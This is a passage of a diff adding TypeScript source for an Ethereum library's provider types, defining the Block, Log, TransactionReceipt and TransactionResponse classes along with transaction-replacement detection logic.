+ /** + * When using ``call``, this enables CCIP-read, which permits the + * provider to be redirected to web-based content during execution, + * which is then further validated by the contract. + * + * There are potential security implications allowing CCIP-read, as + * it could be used to expose the IP address or user activity during + * the fetch to unexpected parties. + */ + enableCcipRead?: boolean; +} + +/** + * Returns a copy of %%req%% with all properties coerced to their strict + * types. + */ +export function copyRequest(req: TransactionRequest): PreparedTransactionRequest { + const result: any = { }; + + // These could be addresses, ENS names or Addressables + if (req.to) { result.to = req.to; } + if (req.from) { result.from = req.from; } + + if (req.data) { result.data = hexlify(req.data); } + + const bigIntKeys = "chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/); + for (const key of bigIntKeys) { + if (!(key in req) || (req)[key] == null) { continue; } + result[key] = getBigInt((req)[key], `request.${ key }`); + } + + const numberKeys = "type,nonce".split(/,/); + for (const key of numberKeys) { + if (!(key in req) || (req)[key] == null) { continue; } + result[key] = getNumber((req)[key], `request.${ key }`); + } + + if (req.accessList) { + result.accessList = accessListify(req.accessList); + } + + if (req.authorizationList) { + result.authorizationList = req.authorizationList.slice(); + } + + if ("blockTag" in req) { result.blockTag = req.blockTag; } + + if ("enableCcipRead" in req) { + result.enableCcipRead = !!req.enableCcipRead + } + + if ("customData" in req) { + result.customData = req.customData; + } + + if ("blobVersionedHashes" in req && req.blobVersionedHashes) { + result.blobVersionedHashes = req.blobVersionedHashes.slice(); + } + + if ("kzg" in req) { result.kzg = req.kzg; } + + if ("blobs" in req && req.blobs) { + result.blobs = req.blobs.map((b) => { + if (isBytesLike(b)) { return hexlify(b); } + return Object.assign({ }, b); + }); + } + + return result; +} + +////////////////////// +// Block + +/** + * An Interface to indicate a [[Block]] has been included in the + * blockchain. This asserts a Type Guard that necessary properties + * are non-null. + * + * Before a block is included, it is a //pending// block. + */ +export interface MinedBlock extends Block { + /** + * The block number also known as the block height. + */ + readonly number: number; + + /** + * The block hash. + */ + readonly hash: string; + + /** + * The block timestamp, in seconds from epoch. + */ + readonly timestamp: number; + + /** + * The block date, created from the [[timestamp]]. + */ + readonly date: Date; + + /** + * The miner of the block, also known as the ``author`` or + * block ``producer``. + */ + readonly miner: string; +} + +/** + * A **Block** represents the data associated with a full block on + * Ethereum. + */ +export class Block implements BlockParams, Iterable { + + /** + * The provider connected to the block used to fetch additional details + * if necessary. + */ + readonly provider!: Provider; + + /** + * The block number, sometimes called the block height. This is a + * sequential number that is one higher than the parent block. + */ + readonly number!: number; + + /** + * The block hash. + * + * This hash includes all properties, so can be safely used to identify + * an exact set of block properties. + */ + readonly hash!: null | string; + + /** + * The timestamp for this block, which is the number of seconds since + * epoch that this block was included. + */ + readonly timestamp!: number; + + /** + * The block hash of the parent block. + */ + readonly parentHash!: string; + + /** + * The hash tree root of the parent beacon block for the given + * execution block. See [[link-eip-4788]]. + */ + parentBeaconBlockRoot!: null | string; + + /** + * The nonce. + * + * On legacy networks, this is the random number inserted which + * permitted the difficulty target to be reached. + */ + readonly nonce!: string; + + /** + * The difficulty target. + * + * On legacy networks, this is the proof-of-work target required + * for a block to meet the protocol rules to be included. + * + * On modern networks, this is a random number arrived at using + * randao. @TODO: Find links? + */ + readonly difficulty!: bigint; + + + /** + * The total gas limit for this block. + */ + readonly gasLimit!: bigint; + + /** + * The total gas used in this block. + */ + readonly gasUsed!: bigint; + + + /** + * The root hash for the global state after applying changes + * in this block. + */ + readonly stateRoot!: null | string; + + /** + * The hash of the transaction receipts trie. + */ + readonly receiptsRoot!: null | string; + + /** + * The total amount of blob gas consumed by the transactions + * within the block. See [[link-eip-4844]]. + */ + readonly blobGasUsed!: null | bigint; + + /** + * The running total of blob gas consumed in excess of the + * target, prior to the block. See [[link-eip-4844]]. + */ + readonly excessBlobGas!: null | bigint; + + /** + * The miner coinbase address, wihch receives any subsidies for + * including this block. + */ + readonly miner!: string; + + /** + * The latest RANDAO mix of the post beacon state of + * the previous block. + */ + readonly prevRandao!: null | string; + + /** + * Any extra data the validator wished to include. + */ + readonly extraData!: string; + + /** + * The base fee per gas that all transactions in this block were + * charged. + * + * This adjusts after each block, depending on how congested the network + * is. + */ + readonly baseFeePerGas!: null | bigint; + + readonly #transactions: Array; + + /** + * Create a new **Block** object. + * + * This should generally not be necessary as the unless implementing a + * low-level library. + */ + constructor(block: BlockParams, provider: Provider) { + + this.#transactions = block.transactions.map((tx) => { + if (typeof(tx) !== "string") { + return new TransactionResponse(tx, provider); + } + return tx; + }); + + defineProperties(this, { + provider, + + hash: getValue(block.hash), + + number: block.number, + timestamp: block.timestamp, + + parentHash: block.parentHash, + parentBeaconBlockRoot: block.parentBeaconBlockRoot, + + nonce: block.nonce, + difficulty: block.difficulty, + + gasLimit: block.gasLimit, + gasUsed: block.gasUsed, + blobGasUsed: block.blobGasUsed, + excessBlobGas: block.excessBlobGas, + miner: block.miner, + prevRandao: getValue(block.prevRandao), + extraData: block.extraData, + + baseFeePerGas: getValue(block.baseFeePerGas), + + stateRoot: block.stateRoot, + receiptsRoot: block.receiptsRoot, + }); + } + + /** + * Returns the list of transaction hashes, in the order + * they were executed within the block. + */ + get transactions(): ReadonlyArray { + return this.#transactions.map((tx) => { + if (typeof(tx) === "string") { return tx; } + return tx.hash; + }); + } + + /** + * Returns the complete transactions, in the order they + * were executed within the block. + * + * This is only available for blocks which prefetched + * transactions, by passing ``true`` to %%prefetchTxs%% + * into [[Provider-getBlock]]. + */ + get prefetchedTransactions(): Array { + const txs = this.#transactions.slice(); + + // Doesn't matter... + if (txs.length === 0) { return [ ]; } + + // Make sure we prefetched the transactions + assert(typeof(txs[0]) === "object", "transactions were not prefetched with block request", "UNSUPPORTED_OPERATION", { + operation: "transactionResponses()" + }); + + return >txs; + } + + /** + * Returns a JSON-friendly value. + */ + toJSON(): any { + const { + baseFeePerGas, difficulty, extraData, gasLimit, gasUsed, hash, + miner, prevRandao, nonce, number, parentHash, parentBeaconBlockRoot, + stateRoot, receiptsRoot, timestamp, transactions + } = this; + + return { + _type: "Block", + baseFeePerGas: toJson(baseFeePerGas), + difficulty: toJson(difficulty), + extraData, + gasLimit: toJson(gasLimit), + gasUsed: toJson(gasUsed), + blobGasUsed: toJson(this.blobGasUsed), + excessBlobGas: toJson(this.excessBlobGas), + hash, miner, prevRandao, nonce, number, parentHash, timestamp, + parentBeaconBlockRoot, stateRoot, receiptsRoot, + transactions, + }; + } + + [Symbol.iterator](): Iterator { + let index = 0; + const txs = this.transactions; + return { + next: () => { + if (index < this.length) { + return { + value: txs[index++], done: false + } + } + return { value: undefined, done: true }; + } + }; + } + + /** + * The number of transactions in this block. + */ + get length(): number { return this.#transactions.length; } + + /** + * The [[link-js-date]] this block was included at. + */ + get date(): null | Date { + if (this.timestamp == null) { return null; } + return new Date(this.timestamp * 1000); + } + + /** + * Get the transaction at %%indexe%% within this block. + */ + async getTransaction(indexOrHash: number | string): Promise { + // Find the internal value by its index or hash + let tx: string | TransactionResponse | undefined = undefined; + if (typeof(indexOrHash) === "number") { + tx = this.#transactions[indexOrHash]; + + } else { + const hash = indexOrHash.toLowerCase(); + for (const v of this.#transactions) { + if (typeof(v) === "string") { + if (v !== hash) { continue; } + tx = v; + break; + } else { + if (v.hash !== hash) { continue; } + tx = v; + break; + } + } + } + if (tx == null) { throw new Error("no such tx"); } + + if (typeof(tx) === "string") { + return (await this.provider.getTransaction(tx)); + } else { + return tx; + } + } + + /** + * If a **Block** was fetched with a request to include the transactions + * this will allow synchronous access to those transactions. + * + * If the transactions were not prefetched, this will throw. + */ + getPrefetchedTransaction(indexOrHash: number | string): TransactionResponse { + const txs = this.prefetchedTransactions; + if (typeof(indexOrHash) === "number") { + return txs[indexOrHash]; + } + + indexOrHash = indexOrHash.toLowerCase(); + for (const tx of txs) { + if (tx.hash === indexOrHash) { return tx; } + } + + assertArgument(false, "no matching transaction", "indexOrHash", indexOrHash); + } + + /** + * Returns true if this block been mined. This provides a type guard + * for all properties on a [[MinedBlock]]. + */ + isMined(): this is MinedBlock { return !!this.hash; } + + /** + * Returns true if this block is an [[link-eip-2930]] block. + */ + isLondon(): this is (Block & { baseFeePerGas: bigint }) { + return !!this.baseFeePerGas; + } + + /** + * @_ignore: + */ + orphanedEvent(): OrphanFilter { + if (!this.isMined()) { throw new Error(""); } + return createOrphanedBlockFilter(this); + } +} + +////////////////////// +// Log + +/** + * A **Log** in Ethereum represents an event that has been included in a + * transaction using the ``LOG*`` opcodes, which are most commonly used by + * Solidity's emit for announcing events. + */ +export class Log implements LogParams { + + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + readonly provider: Provider; + + /** + * The transaction hash of the transaction this log occurred in. Use the + * [[Log-getTransaction]] to get the [[TransactionResponse]]. + */ + readonly transactionHash!: string; + + /** + * The block hash of the block this log occurred in. Use the + * [[Log-getBlock]] to get the [[Block]]. + */ + readonly blockHash!: string; + + /** + * The block number of the block this log occurred in. It is preferred + * to use the [[Block-hash]] when fetching the related [[Block]], + * since in the case of an orphaned block, the block at that height may + * have changed. + */ + readonly blockNumber!: number; + + /** + * If the **Log** represents a block that was removed due to an orphaned + * block, this will be true. + * + * This can only happen within an orphan event listener. + */ + readonly removed!: boolean; + + /** + * The address of the contract that emitted this log. + */ + readonly address!: string; + + /** + * The data included in this log when it was emitted. + */ + readonly data!: string; + + /** + * The indexed topics included in this log when it was emitted. + * + * All topics are included in the bloom filters, so they can be + * efficiently filtered using the [[Provider-getLogs]] method. + */ + readonly topics!: ReadonlyArray; + + /** + * The index within the block this log occurred at. This is generally + * not useful to developers, but can be used with the various roots + * to proof inclusion within a block. + */ + readonly index!: number; + + /** + * The index within the transaction of this log. + */ + readonly transactionIndex!: number; + + /** + * @_ignore: + */ + constructor(log: LogParams, provider: Provider) { + this.provider = provider; + + const topics = Object.freeze(log.topics.slice()); + defineProperties(this, { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + + removed: log.removed, + + address: log.address, + data: log.data, + + topics, + + index: log.index, + transactionIndex: log.transactionIndex, + }); + } + + /** + * Returns a JSON-compatible object. + */ + toJSON(): any { + const { + address, blockHash, blockNumber, data, index, + removed, topics, transactionHash, transactionIndex + } = this; + + return { + _type: "log", + address, blockHash, blockNumber, data, index, + removed, topics, transactionHash, transactionIndex + }; + } + + /** + * Returns the block that this log occurred in. + */ + async getBlock(): Promise { + const block = await this.provider.getBlock(this.blockHash); + assert(!!block, "failed to find transaction", "UNKNOWN_ERROR", { }); + return block; + } + + /** + * Returns the transaction that this log occurred in. + */ + async getTransaction(): Promise { + const tx = await this.provider.getTransaction(this.transactionHash); + assert(!!tx, "failed to find transaction", "UNKNOWN_ERROR", { }); + return tx; + } + + /** + * Returns the transaction receipt fot the transaction that this + * log occurred in. + */ + async getTransactionReceipt(): Promise { + const receipt = await this.provider.getTransactionReceipt(this.transactionHash); + assert(!!receipt, "failed to find transaction receipt", "UNKNOWN_ERROR", { }); + return receipt; + } + + /** + * @_ignore: + */ + removedEvent(): OrphanFilter { + return createRemovedLogFilter(this); + } +} + +////////////////////// +// Transaction Receipt + +/* +export interface LegacyTransactionReceipt { + byzantium: false; + status: null; + root: string; +} + +export interface ByzantiumTransactionReceipt { + byzantium: true; + status: number; + root: null; +} +*/ + +/** + * A **TransactionReceipt** includes additional information about a + * transaction that is only available after it has been mined. + */ +export class TransactionReceipt implements TransactionReceiptParams, Iterable { + /** + * The provider connected to the log used to fetch additional details + * if necessary. + */ + readonly provider!: Provider; + + /** + * The address the transaction was sent to. + */ + readonly to!: null | string; + + /** + * The sender of the transaction. + */ + readonly from!: string; + + /** + * The address of the contract if the transaction was directly + * responsible for deploying one. + * + * This is non-null **only** if the ``to`` is empty and the ``data`` + * was successfully executed as initcode. + */ + readonly contractAddress!: null | string; + + /** + * The transaction hash. + */ + readonly hash!: string; + + /** + * The index of this transaction within the block transactions. + */ + readonly index!: number; + + /** + * The block hash of the [[Block]] this transaction was included in. + */ + readonly blockHash!: string; + + /** + * The block number of the [[Block]] this transaction was included in. + */ + readonly blockNumber!: number; + + /** + * The bloom filter bytes that represent all logs that occurred within + * this transaction. This is generally not useful for most developers, + * but can be used to validate the included logs. + */ + readonly logsBloom!: string; + + /** + * The actual amount of gas used by this transaction. + * + * When creating a transaction, the amount of gas that will be used can + * only be approximated, but the sender must pay the gas fee for the + * entire gas limit. After the transaction, the difference is refunded. + */ + readonly gasUsed!: bigint; + + /** + * The gas used for BLObs. See [[link-eip-4844]]. + */ + readonly blobGasUsed!: null | bigint; + + /** + * The amount of gas used by all transactions within the block for this + * and all transactions with a lower ``index``. + * + * This is generally not useful for developers but can be used to + * validate certain aspects of execution. + */ + readonly cumulativeGasUsed!: bigint; + + /** + * The actual gas price used during execution. + * + * Due to the complexity of [[link-eip-1559]] this value can only + * be caluclated after the transaction has been mined, snce the base + * fee is protocol-enforced. + */ + readonly gasPrice!: bigint; + + /** + * The price paid per BLOB in gas. See [[link-eip-4844]]. + */ + readonly blobGasPrice!: null | bigint; + + /** + * The [[link-eip-2718]] transaction type. + */ + readonly type!: number; + //readonly byzantium!: boolean; + + /** + * The status of this transaction, indicating success (i.e. ``1``) or + * a revert (i.e. ``0``). + * + * This is available in post-byzantium blocks, but some backends may + * backfill this value. + */ + readonly status!: null | number; + + /** + * The root hash of this transaction. + * + * This is no present and was only included in pre-byzantium blocks, but + * could be used to validate certain parts of the receipt. + */ + readonly root!: null | string; + + readonly #logs: ReadonlyArray; + + /** + * @_ignore: + */ + constructor(tx: TransactionReceiptParams, provider: Provider) { + this.#logs = Object.freeze(tx.logs.map((log) => { + return new Log(log, provider); + })); + + let gasPrice = BN_0; + if (tx.effectiveGasPrice != null) { + gasPrice = tx.effectiveGasPrice; + } else if (tx.gasPrice != null) { + gasPrice = tx.gasPrice; + } + + defineProperties(this, { + provider, + + to: tx.to, + from: tx.from, + contractAddress: tx.contractAddress, + + hash: tx.hash, + index: tx.index, + + blockHash: tx.blockHash, + blockNumber: tx.blockNumber, + + logsBloom: tx.logsBloom, + + gasUsed: tx.gasUsed, + cumulativeGasUsed: tx.cumulativeGasUsed, + blobGasUsed: tx.blobGasUsed, + gasPrice, + blobGasPrice: tx.blobGasPrice, + + type: tx.type, + //byzantium: tx.byzantium, + status: tx.status, + root: tx.root + }); + } + + /** + * The logs for this transaction. + */ + get logs(): ReadonlyArray { return this.#logs; } + + /** + * Returns a JSON-compatible representation. + */ + toJSON(): any { + const { + to, from, contractAddress, hash, index, + blockHash, blockNumber, logsBloom, + logs, //byzantium, + status, root + } = this; + + return { + _type: "TransactionReceipt", + blockHash, blockNumber, + //byzantium, + contractAddress, + cumulativeGasUsed: toJson(this.cumulativeGasUsed), + from, + gasPrice: toJson(this.gasPrice), + blobGasUsed: toJson(this.blobGasUsed), + blobGasPrice: toJson(this.blobGasPrice), + gasUsed: toJson(this.gasUsed), + hash, index, logs, logsBloom, root, status, to + }; + } + + /** + * @_ignore: + */ + get length(): number { return this.logs.length; } + + [Symbol.iterator](): Iterator { + let index = 0; + return { + next: () => { + if (index < this.length) { + return { value: this.logs[index++], done: false } + } + return { value: undefined, done: true }; + } + }; + } + + /** + * The total fee for this transaction, in wei. + */ + get fee(): bigint { + return this.gasUsed * this.gasPrice; + } + + /** + * Resolves to the block this transaction occurred in. + */ + async getBlock(): Promise { + const block = await this.provider.getBlock(this.blockHash); + if (block == null) { throw new Error("TODO"); } + return block; + } + + /** + * Resolves to the transaction this transaction occurred in. + */ + async getTransaction(): Promise { + const tx = await this.provider.getTransaction(this.hash); + if (tx == null) { throw new Error("TODO"); } + return tx; + } + + /** + * Resolves to the return value of the execution of this transaction. + * + * Support for this feature is limited, as it requires an archive node + * with the ``debug_`` or ``trace_`` API enabled. + */ + async getResult(): Promise { + return (await this.provider.getTransactionResult(this.hash)); + } + + /** + * Resolves to the number of confirmations this transaction has. + */ + async confirmations(): Promise { + return (await this.provider.getBlockNumber()) - this.blockNumber + 1; + } + + /** + * @_ignore: + */ + removedEvent(): OrphanFilter { + return createRemovedTransactionFilter(this); + } + + /** + * @_ignore: + */ + reorderedEvent(other?: TransactionResponse): OrphanFilter { + assert(!other || other.isMined(), "unmined 'other' transction cannot be orphaned", + "UNSUPPORTED_OPERATION", { operation: "reorderedEvent(other)" }); + return createReorderedTransactionFilter(this, other); + } +} + + +////////////////////// +// Transaction Response + +/** + * A **MinedTransactionResponse** is an interface representing a + * transaction which has been mined and allows for a type guard for its + * property values being defined. + */ +export interface MinedTransactionResponse extends TransactionResponse { + /** + * The block number this transaction occurred in. + */ + blockNumber: number; + + /** + * The block hash this transaction occurred in. + */ + blockHash: string; + + /** + * The date this transaction occurred on. + */ + date: Date; +} + + +/** + * A **TransactionResponse** includes all properties about a transaction + * that was sent to the network, which may or may not be included in a + * block. + * + * The [[TransactionResponse-isMined]] can be used to check if the + * transaction has been mined as well as type guard that the otherwise + * possibly ``null`` properties are defined. + */ +export class TransactionResponse implements TransactionLike, TransactionResponseParams { + /** + * The provider this is connected to, which will influence how its + * methods will resolve its async inspection methods. + */ + readonly provider: Provider; + + /** + * The block number of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + readonly blockNumber: null | number; + + /** + * The blockHash of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + readonly blockHash: null | string; + + /** + * The index within the block that this transaction resides at. + */ + readonly index!: number; + + /** + * The transaction hash. + */ + readonly hash!: string; + + /** + * The [[link-eip-2718]] transaction envelope type. This is + * ``0`` for legacy transactions types. + */ + readonly type!: number; + + /** + * The receiver of this transaction. + * + * If ``null``, then the transaction is an initcode transaction. + * This means the result of executing the [[data]] will be deployed + * as a new contract on chain (assuming it does not revert) and the + * address may be computed using [[getCreateAddress]]. + */ + readonly to!: null | string; + + /** + * The sender of this transaction. It is implicitly computed + * from the transaction pre-image hash (as the digest) and the + * [[signature]] using ecrecover. + */ + readonly from!: string; + + /** + * The nonce, which is used to prevent replay attacks and offer + * a method to ensure transactions from a given sender are explicitly + * ordered. + * + * When sending a transaction, this must be equal to the number of + * transactions ever sent by [[from]]. + */ + readonly nonce!: number; + + /** + * The maximum units of gas this transaction can consume. If execution + * exceeds this, the entries transaction is reverted and the sender + * is charged for the full amount, despite not state changes being made. + */ + readonly gasLimit!: bigint; + + /** + * The gas price can have various values, depending on the network. + * + * In modern networks, for transactions that are included this is + * the //effective gas price// (the fee per gas that was actually + * charged), while for transactions that have not been included yet + * is the [[maxFeePerGas]]. + * + * For legacy transactions, or transactions on legacy networks, this + * is the fee that will be charged per unit of gas the transaction + * consumes. + */ + readonly gasPrice!: bigint; + + /** + * The maximum priority fee (per unit of gas) to allow a + * validator to charge the sender. This is inclusive of the + * [[maxFeeFeePerGas]]. + */ + readonly maxPriorityFeePerGas!: null | bigint; + + /** + * The maximum fee (per unit of gas) to allow this transaction + * to charge the sender. + */ + readonly maxFeePerGas!: null | bigint; + + /** + * The [[link-eip-4844]] max fee per BLOb gas. + */ + readonly maxFeePerBlobGas!: null | bigint; + + /** + * The data. + */ + readonly data!: string; + + /** + * The value, in wei. Use [[formatEther]] to format this value + * as ether. + */ + readonly value!: bigint; + + /** + * The chain ID. + */ + readonly chainId!: bigint; + + /** + * The signature. + */ + readonly signature!: Signature; + + /** + * The [[link-eip-2930]] access list for transaction types that + * support it, otherwise ``null``. + */ + readonly accessList!: null | AccessList; + + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + readonly blobVersionedHashes!: null | Array; + + /** + * The [[link-eip-7702]] authorizations (if any). + */ + readonly authorizationList!: null | Array; + + #startBlock: number; + + /** + * @_ignore: + */ + constructor(tx: TransactionResponseParams, provider: Provider) { + this.provider = provider; + + this.blockNumber = (tx.blockNumber != null) ? tx.blockNumber: null; + this.blockHash = (tx.blockHash != null) ? tx.blockHash: null; + + this.hash = tx.hash; + this.index = tx.index; + + this.type = tx.type; + + this.from = tx.from; + this.to = tx.to || null; + + this.gasLimit = tx.gasLimit; + this.nonce = tx.nonce; + this.data = tx.data; + this.value = tx.value; + + this.gasPrice = tx.gasPrice; + this.maxPriorityFeePerGas = (tx.maxPriorityFeePerGas != null) ? tx.maxPriorityFeePerGas: null; + this.maxFeePerGas = (tx.maxFeePerGas != null) ? tx.maxFeePerGas: null; + this.maxFeePerBlobGas = (tx.maxFeePerBlobGas != null) ? tx.maxFeePerBlobGas: null; + + this.chainId = tx.chainId; + this.signature = tx.signature; + + this.accessList = (tx.accessList != null) ? tx.accessList: null; + this.blobVersionedHashes = (tx.blobVersionedHashes != null) ? tx.blobVersionedHashes: null; + + this.authorizationList = (tx.authorizationList != null) ? tx.authorizationList: null; + + this.#startBlock = -1; + } + + /** + * Returns a JSON-compatible representation of this transaction. + */ + toJSON(): any { + const { + blockNumber, blockHash, index, hash, type, to, from, nonce, + data, signature, accessList, blobVersionedHashes + } = this; + + return { + _type: "TransactionResponse", + accessList, blockNumber, blockHash, + blobVersionedHashes, + chainId: toJson(this.chainId), + data, from, + gasLimit: toJson(this.gasLimit), + gasPrice: toJson(this.gasPrice), + hash, + maxFeePerGas: toJson(this.maxFeePerGas), + maxPriorityFeePerGas: toJson(this.maxPriorityFeePerGas), + maxFeePerBlobGas: toJson(this.maxFeePerBlobGas), + nonce, signature, to, index, type, + value: toJson(this.value), + }; + } + + /** + * Resolves to the Block that this transaction was included in. + * + * This will return null if the transaction has not been included yet. + */ + async getBlock(): Promise { + let blockNumber = this.blockNumber; + if (blockNumber == null) { + const tx = await this.getTransaction(); + if (tx) { blockNumber = tx.blockNumber; } + } + if (blockNumber == null) { return null; } + const block = this.provider.getBlock(blockNumber); + if (block == null) { throw new Error("TODO"); } + return block; + } + + /** + * Resolves to this transaction being re-requested from the + * provider. This can be used if you have an unmined transaction + * and wish to get an up-to-date populated instance. + */ + async getTransaction(): Promise { + return this.provider.getTransaction(this.hash); + } + + /** + * Resolve to the number of confirmations this transaction has. + */ + async confirmations(): Promise { + if (this.blockNumber == null) { + const { tx, blockNumber } = await resolveProperties({ + tx: this.getTransaction(), + blockNumber: this.provider.getBlockNumber() + }); + + // Not mined yet... + if (tx == null || tx.blockNumber == null) { return 0; } + + return blockNumber - tx.blockNumber + 1; + } + + const blockNumber = await this.provider.getBlockNumber(); + return blockNumber - this.blockNumber + 1; + } + + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(_confirms?: number, _timeout?: number): Promise { + const confirms = (_confirms == null) ? 1: _confirms; + const timeout = (_timeout == null) ? 0: _timeout; + + let startBlock = this.#startBlock + let nextScan = -1; + let stopScanning = (startBlock === -1) ? true: false; + const checkReplacement = async () => { + // Get the current transaction count for this sender + if (stopScanning) { return null; } + const { blockNumber, nonce } = await resolveProperties({ + blockNumber: this.provider.getBlockNumber(), + nonce: this.provider.getTransactionCount(this.from) + }); + + // No transaction or our nonce has not been mined yet; but we + // can start scanning later when we do start + if (nonce < this.nonce) { + startBlock = blockNumber; + return; + } + + // We were mined; no replacement + if (stopScanning) { return null; } + const mined = await this.getTransaction(); + if (mined && mined.blockNumber != null) { return; } + + // We were replaced; start scanning for that transaction + + // Starting to scan; look back a few extra blocks for safety + if (nextScan === -1) { + nextScan = startBlock - 3; + if (nextScan < this.#startBlock) { nextScan = this.#startBlock; } + } + + while (nextScan <= blockNumber) { + // Get the next block to scan + if (stopScanning) { return null; } + const block = await this.provider.getBlock(nextScan, true); + + // This should not happen; but we'll try again shortly + if (block == null) { return; } + + // We were mined; no replacement + for (const hash of block) { + if (hash === this.hash) { return; } + } + + // Search for the transaction that replaced us + for (let i = 0; i < block.length; i++) { + const tx: TransactionResponse = await block.getTransaction(i); + + if (tx.from === this.from && tx.nonce === this.nonce) { + // Get the receipt + if (stopScanning) { return null; } + const receipt = await this.provider.getTransactionReceipt(tx.hash); + + // This should not happen; but we'll try again shortly + if (receipt == null) { return; } + + // We will retry this on the next block (this case could be optimized) + if ((blockNumber - receipt.blockNumber + 1) < confirms) { return; } + + // The reason we were replaced + let reason: "replaced" | "repriced" | "cancelled" = "replaced"; + if (tx.data === this.data && tx.to === this.to && tx.value === this.value) { + reason = "repriced"; + } else if (tx.data === "0x" && tx.from === tx.to && tx.value === BN_0) { + reason = "cancelled" + } + + assert(false, "transaction was replaced", "TRANSACTION_REPLACED", { + cancelled: (reason === "replaced" || reason === "cancelled"), + reason, + replacement: tx.replaceableTransaction(startBlock), + hash: tx.hash, + receipt + }); + } + } + + nextScan++; + } + return; + }; + + const checkReceipt = (receipt: null | TransactionReceipt) => { + if (receipt == null || receipt.status !== 0) { return receipt; } + assert(false, "transaction execution reverted", "CALL_EXCEPTION", { + action: "sendTransaction", + data: null, reason: null, invocation: null, revert: null, + transaction: { + to: receipt.to, + from: receipt.from, + data: "" // @TODO: in v7, split out sendTransaction properties + }, receipt + }); + }; + + const receipt = await this.provider.getTransactionReceipt(this.hash); + + if (confirms === 0) { return checkReceipt(receipt); } + + if (receipt) { + if (confirms === 1 || (await receipt.confirmations()) >= confirms) { + return checkReceipt(receipt); + } + + } else { + // Check for a replacement; throws if a replacement was found + await checkReplacement(); + + // Allow null only when the confirms is 0 + if (confirms === 0) { return null; } + } + + const waiter = new Promise((resolve, reject) => { + // List of things to cancel when we have a result (one way or the other) + const cancellers: Array<() => void> = [ ]; + const cancel = () => { cancellers.forEach((c) => c()); }; + + // On cancel, stop scanning for replacements + cancellers.push(() => { stopScanning = true; }); + + // Set up any timeout requested + if (timeout > 0) { + const timer = setTimeout(() => { + cancel(); + reject(makeError("wait for transaction timeout", "TIMEOUT")); + }, timeout); + cancellers.push(() => { clearTimeout(timer); }); + } + + const txListener = async (receipt: TransactionReceipt) => { + // Done; return it! + if ((await receipt.confirmations()) >= confirms) { + cancel(); + try { + resolve(checkReceipt(receipt)); + } catch (error) { reject(error); } + } + }; + cancellers.push(() => { this.provider.off(this.hash, txListener); }); + this.provider.on(this.hash, txListener); + // We support replacement detection; start checking + if (startBlock >= 0) { + const replaceListener = async () => { + try { + // Check for a replacement; this throws only if one is found + await checkReplacement(); + + } catch (error) { + // We were replaced (with enough confirms); re-throw the error + if (isError(error, "TRANSACTION_REPLACED")) { + cancel(); + reject(error); + return; + } + } + + // Rescheudle a check on the next block + if (!stopScanning) { + this.provider.once("block", replaceListener); + } + }; + cancellers.push(() => { this.provider.off("block", replaceListener); }); + this.provider.once("block", replaceListener); + } + }); + + return await >waiter; + } + + /** + * Returns ``true`` if this transaction has been included. + * + * This is effective only as of the time the TransactionResponse + * was instantiated. To get up-to-date information, use + * [[getTransaction]]. + * + * This provides a Type Guard that this transaction will have + * non-null property values for properties that are null for + * unmined transactions. + */ + isMined(): this is MinedTransactionResponse { + return (this.blockHash != null); + } + + /** + * Returns true if the transaction is a legacy (i.e. ``type == 0``) + * transaction. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLegacy(): this is (TransactionResponse & { accessList: null, maxFeePerGas: null, maxPriorityFeePerGas: null }) { + return (this.type === 0) + } + + /** + * Returns true if the transaction is a Berlin (i.e. ``type == 1``) + * transaction. See [[link-eip-2070]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isBerlin(): this is (TransactionResponse & { accessList: AccessList, maxFeePerGas: null, maxPriorityFeePerGas: null }) { + return (this.type === 1); + } + + /** + * Returns true if the transaction is a London (i.e. ``type == 2``) + * transaction. See [[link-eip-1559]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLondon(): this is (TransactionResponse & { accessList: AccessList, maxFeePerGas: bigint, maxPriorityFeePerGas: bigint }){ + return (this.type === 2); + } + + /** + * Returns true if hte transaction is a Cancun (i.e. ``type == 3``) + * transaction. See [[link-eip-4844]]. + */ + isCancun(): this is (TransactionResponse & { accessList: AccessList, maxFeePerGas: bigint, maxPriorityFeePerGas: bigint, maxFeePerBlobGas: bigint, blobVersionedHashes: Array }){ + return (this.type === 3); + } + + /** + * Returns a filter which can be used to listen for orphan events + * that evict this transaction. + */ + removedEvent(): OrphanFilter { + assert(this.isMined(), "unmined transaction canot be orphaned", + "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createRemovedTransactionFilter(this); + } + + /** + * Returns a filter which can be used to listen for orphan events + * that re-order this event against %%other%%. + */ + reorderedEvent(other?: TransactionResponse): OrphanFilter { + assert(this.isMined(), "unmined transaction canot be orphaned", + "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + + assert(!other || other.isMined(), "unmined 'other' transaction canot be orphaned", + "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + + return createReorderedTransactionFilter(this, other); + } + + /** + * Returns a new TransactionResponse instance which has the ability to + * detect (and throw an error) if the transaction is replaced, which + * will begin scanning at %%startBlock%%. + * + * This should generally not be used by developers and is intended + * primarily for internal use. Setting an incorrect %%startBlock%% can + * have devastating performance consequences if used incorrectly. + */ + replaceableTransaction(startBlock: number): TransactionResponse { + assertArgument(Number.isInteger(startBlock) && startBlock >= 0, "invalid startBlock", "startBlock", startBlock); + const tx = new TransactionResponse(this, this.provider); + tx.#startBlock = startBlock; + return tx; + } +} + + +////////////////////// +// OrphanFilter + +/** + * An Orphan Filter allows detecting when an orphan block has + * resulted in dropping a block or transaction or has resulted + * in transactions changing order. + * + * Not currently fully supported. + */ +export type OrphanFilter = { + orphan: "drop-block", + hash: string, + number: number +} | { + orphan: "drop-transaction", + tx: { hash: string, blockHash: string, blockNumber: number }, + other?: { hash: string, blockHash: string, blockNumber: number } +} | { + orphan: "reorder-transaction", + 